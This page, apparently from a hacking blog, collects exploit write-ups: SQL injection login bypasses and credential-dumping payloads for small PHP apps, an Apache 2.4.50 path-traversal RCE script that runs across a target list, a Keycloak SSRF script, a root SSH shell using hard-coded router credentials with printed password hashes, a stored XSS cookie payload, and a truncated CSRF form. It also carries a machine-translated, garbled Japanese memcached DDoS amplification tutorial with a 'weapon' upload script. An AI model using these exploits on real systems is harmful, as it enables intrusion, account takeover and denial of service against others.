Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863121209

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Online Enrollment Management System 1.0 - Authentication Bypass
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Admin panel authentication bypass

Admin panel authentication can be bypassed due to a SQL injection in the login form:

Request:
  POST /OnlineEnrolmentSystem/admin/login.php HTTP/1.1
  Host: 127.0.0.1
  Content-Length: 63
  Cookie: PHPSESSID=jd2phsg2f7pvv2kfq3lgfkc98q

  user_email=admin'+OR+1=1+LIMIT+1;--+-&user_pass=admin&btnLogin=

PoC:
  curl -d "user_email=admin' OR 1=1 LIMIT 1;--+-&user_pass=junk&btnLogin=" -X POST http://127.0.0.1/OnlineEnrolmentSystem/admin/login.php
            
# Exploit Title: Simple Online College Entrance Exam System 1.0 - 'Multiple' SQL injection
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Multiple SQL injections

The following PoCs will leak the admin username and password:

Unauthenticated:
    http://127.0.0.1/entrance_exam/take_exam.php?id=%27+UNION+SELECT+1,username||%27;%27||password,3,4,5,6,7+FROM+admin_list;

Admin:
    http://127.0.0.1/entrance_exam/admin/view_enrollee.php?id=1'+UNION+SELECT+1,2,3,4,5,6,password,username,9,10,11,12,13,14,15+FROM+admin_list;
            
# Exploit Title: Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14981/online-employees-work-home-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14981&title=Online+Employees+Work+From+Home+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Online Employees Work From Home Attendance System/Logs in a Web App v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /wfh_attendance/Actions.php?a=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 40
Origin: http://merve
Connection: close
Referer: http://merve/wfh_attendance/admin/login.php
Cookie: PHPSESSID=55nnlgv0kg2qaki92o2s9vl5rq

username=admin'+or+'1'%3D'1&password=any
            
# Exploit Title: Loan Management System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14471&title=Loan+Management+System+using+PHP%2FMySQL+with+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1'#" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /loan/ajax.php?action=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://merve
Connection: close
Referer: http://merve/loan/login.php
Cookie: PHPSESSID=911fclrpoa87v9dsp9lh28ck0h

username=admin'+or+'1'%3D'1'%23&password=any
            
# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.50
# Tested on: 2.4.50
# CVE : CVE-2021-42013
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id

exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
            
# Exploit Title: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)
# Date: 2021-10-09
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.keycloak.org/
# Software Link: https://www.keycloak.org/archive/downloads-12.0.1.html
# Version: versions < 12.0.2
# Tested on: Kali Linux
# CVE : CVE-2020-10770

#!/usr/bin/env python3

import argparse, textwrap
import requests
import sys

parser = argparse.ArgumentParser(description="-=[Keycloak Blind SSRF test by ColdFusionX]=-", formatter_class=argparse.RawTextHelpFormatter, 
epilog=textwrap.dedent(''' 
Exploit Usage : 
./exploit.py -u http://127.0.0.1:8080
[^] Input Netcat host:port -> 192.168.0.1:4444
'''))                     

parser.add_argument("-u","--url", help="Keycloak Target URL (Example: http://127.0.0.1:8080)") 
args = parser.parse_args()

if len(sys.argv) <= 2:
    print (f"Exploit Usage: ./exploit.py -h [help] -u [url]")          
    sys.exit()  

# Variables
Host = args.url

r = requests.session()

def ssrf():
    headerscontent = {
            'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
                     }
    hook = input("[^] Input Netcat host:port -> ")
    
    _req = r.get(f'{Host}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{hook}', headers = headerscontent)
    return True

if __name__ == "__main__":

    print ('\n[+] Keycloak Bind SSRF test by ColdFusionX \n ')
    try:    
        if ssrf() == True:
            print ('\n[+] BINGO! Check Netcat listener for HTTP callback :) \n ')
    
    except Exception as ex:
        print('\n[-] Invalid URL or Target not Vulnerable')
            
# Title: Company's Recruitment Management System 1.0 - 'Multiple' SQL Injection (Unauthenticated)
# Exploit Author: Yash Mahajan 
# Date: 2021-10-09
# Vendor Homepage: https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html
# Version: 1
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/employment_application.zip
# Tested On: Windows 10, XAMPP 
# Vulnerable Parameters: "id" , "username"

Steps to Reproduce:

A) SQL Injection (Authentication Bypass)

1) Navigate to http://localhost/employment_application/admin/login.php
2) Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3) Click on "Login" button and you are logged in as administrator.

Request:
========

POST /employment_application/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://localhost
Connection: close
Referer: http://localhost/employment_application/admin/login.php
Cookie: PHPSESSID=fk1gp1s7stu7kitjmhvjfakjqk
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+-&password=admin

--------------------------------------------------------------------------------

B)

1) Vulnerable Parameter: "id"
2) Sqlmap Command to get retrieve tables from the database
3) python sqlmap.py -u "http://localhost/employment_application/?page=view_vacancy&id=1"  --level=3 --risk=2 --banner --dbms=sqlite --tables
            
# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass
# Date: 2021-10-09
# Exploit Author: Yash Mahajan
# Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip
# Version: 1.0
# Tested on: Windows 10
# Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter.

Steps To Reproduce:

1 - Navigate to http://localhost/simple_payroll/admin/login.php
2 - Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3 - Click on "Login" button and you are logged in as administrator.

Proof Of Concept:

POST /simple_payroll/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Origin: http://localhost
Connection: close
Referer: http://localhost/simple_payroll/admin/login.php
Cookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+&password=admin
            
# Exploit Title: Cypress Solutions CTM-200/CTM-ONE - Hard-coded Credentials Remote Root (Telnet/SSH)
# Date: 21.09.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.cypress.bc.ca

#!/usr/bin/env python3
#
#
# Cypress Solutions CTM-200/CTM-ONE Hard-coded Credentials Remote Root (Telnet/SSH)
#
#
# Vendor: Cypress Solutions Inc.
# Product web page: https://www.cypress.bc.ca
# Affected version: CTM-ONE (1.3.6-latest)
#                   CTM-ONE (1.3.1)
#                   CTM-ONE (1.1.9)
#                   CTM200 (2.7.1.5659-latest)
#                   CTM200 (2.0.5.3356-184)
#
# Summary: CTM-200 is the industrial cellular wireless gateway for fixed
# and mobile applications. The CTM-200 is a Linux based platform powered
# by ARM Cortex-A8 800 MHz superscalar processor. Its on-board standard
# features make the CTM-200 ideal for mobile fleet applications or fixed
# site office and SCADA communications.
#
# CTM-ONE is the industrial LTE cellular wireless gateway for mobile and
# fixed applications. CTM-ONE is your next generation of gateway for fleet
# tracking and fixed sites.
#
# ======================================================================
# CTM-200
# /var/config/passwd:
# -------------------
# root:$1$5RS5yR6V$Lo9QCp3rB/7UCU8fRq5ec0:0:0:root:/root:/bin/ash
# admin:$1$5RS5yR6V$Lo9QCp3rB/7UCU8fRq5ec0:0:0:root:/root:/bin/ash
# nobody:*:65534:65534:nobody:/var:/bin/false
# daemon:*:65534:65534:daemon:/var:/bin/false
#
# /var/config/advanced.ini:
# -------------------------
# 0
# 0
# Chameleon
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
#
#
# CTM-ONE
# /etc/shadow:
# ------------
# admin:$6$l22Co5pX$.TzqtAF55KX2XkQrjENNkqQfRBRB2ai0ujayHE5Ese7SdcxkXf1EPQqDv3/d2u3D/OHlgngU8f9Pn5.gO61vx/:17689:0:99999:7:::
# root:$6$5HHLZqFi$Gw4IfW2NBiwce/kMpc2JGM1byduuiJJy/Z7YhKQjSi4JSx8cur0FYhSDmg5iTXaehqu/d6ZtxNZtECZhLJrLC/:17689:0:99999:7:::
# daemon:*:16009:0:99999:7:::
# bin:*:16009:0:99999:7:::
# sys:*:16009:0:99999:7:::
# ftp:*:16009:0:99999:7:::
# nobody:*:16009:0:99999:7:::
# messagebus:!:16009:0:99999:7:::
# ======================================================================
# 
# Desc: The CTM-200 and CTM-ONE are vulnerable to hard-coded credentials
# within their Linux distribution image. This weakness can lead to the
# exposure of resources or functionality to unintended actors, providing
# attackers with sensitive information including executing arbitrary code.
#
# Tested on: GNU/Linux 4.1.15-1.2.0+g77f6154 (arm7l)
#            GNU/Linux 2.6.32.25 (arm4tl)
#            lighttpd/1.4.39
#            BusyBox v1.24.1
#            BusyBox v1.15.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2021-5686
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5686.php
#
#
# 21.09.2021
#

import sys
import paramiko

bnr='''
o ┌─┐┌┬┐┌─┐  ┌─┐  ┬─┐┌─┐┌─┐┌┬┐┌─┐┬ ┬┌─┐┬  ┬   o
  │ │││││ ┬  ├─┤  ├┬┘│ ││ │ │ └─┐├─┤├┤ │  │
o └─┘┴ ┴└─┘  ┴ ┴  ┴└─└─┘└─┘ ┴ └─┘┴ ┴└─┘┴─┘┴─┘ o
'''
print(bnr)

if len(sys.argv)<2:
    print('Put an IP.')
    sys.exit()

adrs=sys.argv[1]##
unme='root'#admin#
pwrd='Chameleon'##

rsh=paramiko.SSHClient()
rsh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
rsh.connect(adrs,username=unme,password=pwrd)

while 1:
    cmnd=input('# ')
    if cmnd=='exit':
        break
    stdin,stdout,stderr=rsh.exec_command(cmnd)
    stdin.close()
    print(str(stdout.read().decode()))
rsh.close()
            

この反射的なサービス拒否攻撃テクノロジーは、グローバルなインターネット分散MEMCachedサーバーに基づいています。セキュリティ攻撃と防衛知識、ネットワークプロトコルの知識、Pythonコードプログラミングテクノロジーの予備が必要です。この記事の知識を学ぶ前に、関連する基本的な知識を自分で学びたいと思っています。記事の最後には参照リンクがあります。

memcachedシステムについて

Memcachedは、無料でオープンソース、高性能、分散メモリオブジェクトキャッシュシステムです。 Memcachedは、LiveJournalの子会社であるDanga Interactiveの子会社であるBrad Fitzpatricによって最初に開発されたソフトウェアです。 Mixi、Hatna、Facebook、Vox、LiveJournalなどの多くのサービスでWebアプリケーションのスケーラビリティを改善する重要な要素になりました。Memcachedは、任意のデータ(文字列、オブジェクト)の小さなチャンクを保存するために使用されるメモリベースのキー値ストレージです。これらのデータは、データベース呼び出し、API呼び出し、またはページレンダリングの結果です。 Memcachedはシンプルで強力です。そのシンプルな設計は、急速な発展を促進し、開発の難易度を軽減し、大規模なデータキャッシュの多くの問題を解決します。そのAPIは、最も一般的な開発言語と互換性があります。基本的に、それは単純なキー価値ストレージシステムです。使用の一般的な目的は、データベースのクエリ結果をキャッシュし、データベースアクセスの数を減らして、動的Webアプリケーションの速度とスケーラビリティを改善することです。

分布DDOSの原理

分散サービス拒否(DDOS:Distributedサービス拒否)攻撃とは、クライアント/サーバーテクノロジーを使用して複数のコンピューターを1つ以上のターゲットにDDOS攻撃を開始するための攻撃プラットフォームとして団結させ、それにより、サービス攻撃の拒否の力を指数関数的に増加させることを指します。通常、攻撃者は盗まれたアカウントを使用してDDOSマスターをコンピューターにインストールし、設定された時間に、マスターはネットワーク上の多くのコンピューターにインストールされている多数のエージェントと通信します。エージェントは、命令が受信されたときに攻撃を開始します。クライアント/サーバーテクノロジーを使用して、マスタープログラムは数秒で数百または数千のエージェントの実行をアクティブにすることができます。

反射DRDOSの原理について

DRDOSは、英語の「分散反射拒否」の略語です。 DOSやDDOSとは異なり、この方法は、被害者のIPアドレスを含む多数のデータパケットを攻撃ホストに送信することに依存しており、攻撃ホストはIPアドレスソースに多くの応答を行い、サービス攻撃の拒否を形成します。

攻撃プロセス

DDOS攻撃プロセス

この攻撃プロセスを完了するには、少なくとも3つのステップが必要です。

1攻撃者は、多数のブロイラーマシンを手に制御する必要があり、分散分布はインターネット上で配布されます。

2攻撃者は、いつでもプロキシプログラムまたは制御プログラムを通じて、すべてのブロイラーに多数の攻撃指示を送信できます。

3指示を受け取った後、すべてのブロイラーは、被害者のネットワークまたはホストに多数の同時攻撃を同時に行います。

drdos攻撃プロセス

DRDOSは、反射増幅攻撃を完了する必要があります。

1。攻撃者は、すべてのオンラインブロイラーまたは反射サーバーに事前に攻撃データを保存する必要があります。

2攻撃者はIPソースを偽造する必要があります。 IPソースの偽造に多数のリクエストを送信します。もちろん、ここのIPは被害者のIPアドレスです。

3.反射サーバーは、データを反映し、しっかりと安定して実行できる必要があります。より少ないデータを要求し、データの増加を何万回も返すのが最善です。

この方法で絶えず流通することにより、帯域幅ネットワークを大規模に攻撃し、占有率を上げ、ターゲットマシンのハードウェアリソースを消費できます。

memcachedを使用して実装されたDRDOS攻撃反射プロセス

SouthEast

サバイバルマシン

まず、多数の反射サーバーを見つけて、検索エンジンを使用してグローバルに利用可能なオンラインサーバーを発見する必要があります。ここでは、一時的にZoomeyeを使用して収集しています。Shodanなどの他の検索エンジンも使用できます。デフォルトのオープニングポート番号は11211です。ChuangyudeZhong Kui Eye Space Engineを使用して、世界中の538,317マシンを検索して11211ポートを開き、Memcached Cacheサービスシステムを実行しました。ただし、別の使用条件があります。つまり、デフォルトでログインできるマシンを有効にするかどうかをさらに選択して、使用できるようにする必要があります。一部はすでにセキュリティ認証を設定しているため、使用できません。 (ネットワーク全体で50,000を超えるサーバーが公開されましたが、そのうち1,000以上が有効に検証され、利用可能であるため、ここでは発表されません)

SouthEast

通信プロトコル

プロトコルから、Memcacheは同時にTCPとUDPに耳を傾けます。つまり、相互作用とコミュニケーションを同時に開始できる2つのプロトコルをサポートします。これは非常に重要です。 TCPプロトコルとUDPプロトコルの違いを確認できます。 TCPはバイトストリームであるため、パケットの境界はありません。サイズは関係ありません。一度に受信したデータは、送信および受信キャッシュの実装とサイズに依存します。

TCPに制限はありません。TCPパケットヘッダーには「パッケージの長さ」フィールドはありませんが、フレーム分割を処理するためにIPレイヤーに完全に依存しています。

SouthEast

ただし、UDPプロトコルは異なります。接続に基づいてターゲットマシンにデータを直接送信するわけではありません。

SouthEast

この長さのフィールドは2バイトのみを占めることに注意してください。したがって、UDPプロトコルのデータ送信に制限があり、1回の最大送信は2^16=65535=64kbです。

大規模なデータパケットを送信する場合は、TCPプロトコルまたはUDPのみを使用して複数回送信できます。ここでテストしましたが、両方のプロトコルを実装できます。

まとめ:

1。TCPは接続に接続されています(電話をかけるときに最初に接続を確立するためにダイヤルアップする必要がある場合)。 UDPは接続せずに接続されています。つまり、データを送信する前に接続を確立する必要はありません。

2。TCPは信頼できるサービスを提供します。つまり、TCP接続を介して送信されるデータはエラーがなく、失われ、反復的であり、順番に到着します。 UDPは、提供するためにあらゆる努力をしています。つまり、信頼できる配送を保証しません。

3。TCPはバイトストリームに向けられていますが、実際、TCPはデータを一連の構造化されていないバイトストリームと見なしています。 UDPはパケットに向けられています。 UDPには混雑制御がないため、ネットワークの混雑はソースホストの送信率を下げません(IPフォン、リアルタイムビデオ会議などのリアルタイムアプリケーションに役立ちます)。

4.各TCP接続はポイントツーポイントのみです。 UDPは、1対1の、1対1の、多目的で、多くのインタラクティブなコミュニケーションをサポートしています。

5。TCPヘッダーオーバーヘッドは20バイトです。 UDPヘッダーのオーバーヘッドは小さく、わずか8バイトです。

6。TCPの論理通信チャネルは、完全なデュプレックスを備えた信頼性の高いチャネルであり、UDPは信頼できないチャネルです。

さて、これを理解した後、TCPおよびUDPプロトコル通信に基づいてMemcached Cacheシステムの使用方法を見てみましょう。 Memcachedシステムは、1Mの最大キー値の単一データストレージをサポートしているためです。したがって、最大1Mしか保存できません。もちろん、複数のフィールドを作成することもできます。これも拡大します。まず、フローチャートによると、Payloadを事前にリモートサーバーに保存します。ここにデータがあります。 TCPプロトコルを使用して、1Mを一度に送信できますが、UDPを使用する場合は、1Mデータ送信を完了する前に複数回サイクルを送信する必要があります。 UDPの不安定性により、パケットは信頼できるとは限りません。ここでは、送信にTCPを使用することをお勧めします。

データ形式

Memcachedはシンプルで強力です。そのシンプルな設計は、急速な発展を促進し、開発の難易度を軽減し、大規模なデータキャッシュの多くの問題を解決します。そのAPIは、最も一般的な開発言語と互換性があります。基本的に、それは単純なキー価値ストレージシステムです。

使用の一般的な目的は、データベースのクエリ結果をキャッシュし、データベースアクセスの数を減らして、動的Webアプリケーションの速度とスケーラビリティを改善することです。

SouthEast

すべてのコマンドと操作がサポートされています。

memcachedストレージコマンド

memcached setコマンド

memcached addコマンド

memcached交換コマンド

memcached appendコマンド

memcached prependコマンド

Memcached CASコマンド

memcached findコマンド

memcached getコマンド

Memcached Gets Command

memcached deleteコマンド

memcached incr/decrコマンド

memcached Statisticsコマンド

memcached statsコマンド

memcached statsアイテムコマンド

memcached stats slabsコマンド

memcached statsサイズコマンド

memcached flush_allコマンド

ここでは、これらの3つの方法が攻撃プロセスに関与するため、3つのタイプのコマンドに焦点を当てます。

1つ目は、ペイロードmemcached setコマンドをアップロードすることです

MEMCached SETコマンドは、指定されたキーに値を保存するために使用されます。

セットのキーが既に存在する場合、コマンドはキーに対応する元のデータを更新できます。これは、更新機能を実現することです。

セットコマンドの基本的な構文形式は次のとおりです。

キーフラグを設定しますexptimeバイト[noreply]

価値

パラメーターは次のとおりです。

キー:キャッシュ値を見つけるために使用されるキー価値構造のキー。

フラグ:キー価値ペアの整数パラメーターを含めることができます。これは、クライアントがキー価値ペアに関する追加情報を保存するために使用することができます。

exptime:キャッシュでキー価値ペアを保存する時間の長さ(秒単位では、0は永遠に意味があります)

バイト:キャッシュに保存されているバイト数

noreply(オプション):このパラメーターは、データが不要であることをサーバーに伝えます

値:保存された値(常に2行目)(キー価値構造の値として直接理解できます)

SouthEast

2番目の反射ペイロードMemcached Getコマンド

memcached getコマンドは、キーに保存されている値(データ値)を取得し、キーが存在しない場合は空に戻ります。

GETコマンドの基本的な構文形式は次のとおりです。

キーを取得します

次の:のように、複数のキーがスペースで区切られています

key1 key2 key3を取得します

パラメーターは次のとおりです。

キー:キャッシュ値を見つけるために使用されるキー価値構造のキー。

SouthEast

3番目は、リモートサーバーを終了することです。 Quit \ r \ nコマンドで十分であり、パラメーターがなければ、キャリッジの戻りとラインブレイクを注意してください。

SouthEast

攻撃手順

ペイロードの自動アップロード

ここでは、次のステップは、このプロセスを使用してDRDOSリフレクションのサービス攻撃の拒否を実装する方法です。

アイデアは次のとおりです。最初に指定されたデータをMemcachedのリモートオープンサーバーにバッチアップロードし、次にMemcachedサーバーに移動して、データの前のステップに保存されているデータをクエリを要求します。 (このステップは非常に重要です。UDPプロトコルを使用してそれを反映することしかできず、その理由を説明しましょう。)このようにして、データはMemcachedサーバーを介してターゲット被害者マシンに反映できます。ここでは、リモートサーバーへのバッチ自動アップロードのペイロードを実現するプログラムを手動で作成できます。アップロードが完了した後、UDP反射攻撃を実行できます。

ここでは、Pythonスクリプトを使用して、ペイロードデータのアップロードを完了します。

# - * - coding: utf-8-* -

'' '

2018.02.06に作成されました

@Author: 5T4RK

'' '

#!/usr/bin/python

ランダムをインポートします

sysをインポートします

ソケットをインポートします

socket_timeout=10.0

bulets_size=10 * 1000

def reload_zombies_list(zombies_server_path):

try:

Global Zombies_list

if(len(zombies_server_path)1):

戻る ''

f:としてOpen(zombies_server_path)を使用します

zombies_list=f.readlines()

zombies_listを返します

例外を除き、E:

e.messageを印刷します

def random_int_char(i):

try:

temp=random.randint(0、2)

temp==0:の場合

return '%c'%(random.randint(0、9) +0x30)

Elif temp==1:

return '%c'%(random.randint(0、25) +0x41)

その他:

return '%c'%(random.randint(0、25) +0x61)

例外を除き、E:

e.messageを印刷します

def prepare_random_data(size_bytes、times):

try:

印刷'[ランダムデータ:%8d回]'%(時間+ 1)

remote_data=''

範囲(0、size_bytes):のiの場合

remote_data=remote_data +(random_int_char(i))

Remote_data.upper()を返します

例外を除き、E:

e.messageを印刷します

def tcp_weapon_function(mem_address、mem_port、data、reload_counts):

if(mem_addressではない):

falseを返します

if(len(data)1):

falseを返します

else:

try:

mem_address=mem_address.strip( '\ n')

mem_address=mem_address.strip( '\ r \ n')

mem_address=mem_address.strip()

server_address=(mem_address、mem_port)

# 送信

client=socket.socket(socket.af_inet、socket.sock_stream)

client.settimeout(socket_timeout)

client.connect(server_address)

print '[現在のnum:%8d Zombie]'%reload_counts

印刷'[Size:%8Dバイトの送信] \ t'%len(data)、 '[アドレス: \ t%14S]'%mem_address

reload_counts=reload_counts + 1

# 送信

count=client.send(data)

カウント1:の場合

result=client.recv(1024)

結果ではない場合:

印刷「[応答なし] '

falseを返します

result=result.rstrip( '\ n')

result=result.rstrip( '\ r \ n')

print '[sended size:%8dバイト] \ t'%count、 '[receed: \ t%14s]'%result

# やめる

count=client.send( 'quit \ r \ n')

カウント1:の場合

print '[sended size:%8dバイト] \ t'%count '[receed: \ t quit success]'

client.close()

例外を除き、E:

印刷'[エラー:'、e.message、 ']'

client.close()

trueを返します

__name__=='__main __' :の場合

zombies_list=[]

current_index=0

コマンド=0

Len(Sys.Argv)==5:の場合

path=sys.argv [1]

command=int(sys.argv [2])

bulets_size=int(sys.argv [3])

socket_timeout=float(sys.argv [4])

reload_zombies_list(パス)

Elif Len(Sys.Argv)==3:

path=sys.argv [1]

command=int(sys.argv [2])

reload_zombies_list(パス)

else:

印刷'example: \ t'

印刷'\ tweapon.py server.txt 1 byte_sizeタイムアウト'

印刷'\ tweapon.py server.txt 2'

印刷'\ tcommand 1 ddos memcache set'

印刷'\ tcommand 2 ddos memcache delete'

印刷「\ tcommand 3 ddosペイロードサイズ」

印刷「\ tcommand 4 ddosタイムアウト(秒)」

出口()

Current_index len(zombies_list):

try:

command==1:の場合

random_value=prepare_random_data(bulets_size、current_index)

action_data='set anvzdgf0zxn0 0 0%d \ r \ n'%len(random_value) + random_value + '\ r \ n'

tcp_weapon_function(zombies_list [current_index]、11211、action_data、current_index)

elif command==2:

action_data='delete anvzdgf0zxn0 \ r \ n'

tcp_weapon_function(zombies_list [current_index]、11211、action_data、current_index)

else:

「エラーコマンド」を印刷する

action_data=''

keyboardinterrupt、e:を除く

印刷'[エラー:スクリプトが停止した[ctrl + c] .]'

# Exploit Title: Student Quarterly Grading System 1.0 - 'grade' Stored Cross-Site Scripting (XSS)
# Date: 11.10.2021
# Exploit Author: Hüseyin Serkan Balkanli
# Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Student Quarterly Grading System v1.0 has Stored XSS at "Add New Class" Function.

Steps To Reproduce:
1 - Click to Class from Menu and click "Add New".
2 - Enter the payload to "grade" field as "<script>alert(document.cookie);</script>" without double-quotes and choose one of the Subject from list. (It can be anything, doesn't matter.)
3 - Click on Save and you are done. It's gonna be triggered when anyone visits the application. It's global and can trigger on any page.

PoC

POST /grading_system/Actions.php?a=save_class HTTP/1.1
Host: localhost
Content-Length: 457
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO6Q8ADzs1UvBltkB
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/grading_system/?page=class
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="id"


------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="subject_id"

3
------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="grade"

<script>alert(document.cookie);</script>
------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="section"


------WebKitFormBoundaryO6Q8ADzs1UvBltkB--
            
# Exploit Title: Pharmacy Point of Sale System 1.0 - 'Add New User' Cross-Site Request Forgery (CSRF)
# Date: 10/11/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Version: 1
# Tested on: Windows 10

Detail:
The application is not using any security token to prevent it against CSRF. Therefore, malicious user can add new administrator user account by using crafted post request.

CSRF PoC:

--------------------------------------------------------------------------------------

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
